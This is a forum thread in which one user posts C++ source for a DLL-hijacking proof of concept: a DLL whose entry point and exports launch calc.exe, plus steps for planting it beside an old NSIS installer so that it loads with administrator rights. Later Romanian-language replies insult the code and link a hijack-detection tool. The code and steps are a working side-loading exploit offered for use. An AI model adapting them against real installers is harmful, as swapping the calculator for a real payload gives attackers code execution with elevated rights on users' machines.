Jako Posted September 1, 2016 Report Posted September 1, 2016 // dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" DWORD go(void); #define EX __declspec (dllexport) EX void __cdecl DllInstall() { go(); } EX void __cdecl DllRegisterServer() { go(); } EX void __cdecl DllUnregisterServer() { go(); } EX void __cdecl RunDLLW() { go(); } STARTUPINFOA si; PROCESS_INFORMATION pi; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA)); RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // MessageBox(0, L"Hello", L"World", MB_OK); CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } DWORD go(void) { //MessageBox(0, L"Hello", L"World", MB_OK); RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA)); RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi); ExitProcess(0); return 0; } 1. Compile code to a DLL 2. Put the DLL in the same folder as an old NSIS installer, double click the installer, accept the prompt for admin rights The dll gets loaded at the same time. One thing to remember when compiling this DLL. The entry point must point to DllMain(); Quote
Byte-ul Posted September 1, 2016 Report Posted September 1, 2016 E scris de tine codul? Daca da, te anunt ca nu ai nicio treaba. Quote
Jako Posted September 1, 2016 Author Report Posted September 1, 2016 5 minutes ago, Byte-ul said: E scris de tine codul? Daca da, te anunt ca nu ai nicio treaba. Nu e scris de mine, si daca ar fi n-ar conta. Iti multumesc pentru interventie si te rog frumos sa postezi tu o varianta mai buna. Quote
Byte-ul Posted September 1, 2016 Report Posted September 1, 2016 (edited) 18 minutes ago, Jako said: Nu e scris de mine, si daca ar fi n-ar conta. Iti multumesc pentru interventie si te rog frumos sa postezi tu o varianta mai buna. Cum sa nu conteze? Daca te opresti sa copiezi cacaturi de la toti prostii, poate nu vei deveni ca ei. Edited September 1, 2016 by Byte-ul Quote
Jako Posted September 1, 2016 Author Report Posted September 1, 2016 3 minutes ago, Byte-ul said: Cum sa nu conteze? Daca te opresti sa copiezi cacaturi de la toti prostii, poate nu vei deveni ca ei. Nu te-am jignit. Posteaza si tu varianta ta, te rog. Quote
Byte-ul Posted September 1, 2016 Report Posted September 1, 2016 Just now, Jako said: Nu te-am jignit. Posteaza si tu varianta ta, te rog. Nici eu nu te-am jignit, ti-am spus ce o sa se intample. Referitor la varianta mai buna, nu poti sa infrumusetezi un cacat. Tragi apa. 1 Quote
Jako Posted September 1, 2016 Author Report Posted September 1, 2016 Just now, Byte-ul said: Nici eu nu te-am jignit, ti-am spus ce o sa se intample. Referitor la varianta mai buna, nu poti sa infrumusetezi un cacat. Tragi apa. Ok, trage apa si posteaza varianta ta frumoasa. Mersi! Quote
Byte-ul Posted September 1, 2016 Report Posted September 1, 2016 4 minutes ago, Jako said: Ok, trage apa si posteaza varianta ta frumoasa. Mersi! https://github.com/adamkramer/dll_hijack_detect Ai si demo cu side-loading 1 Quote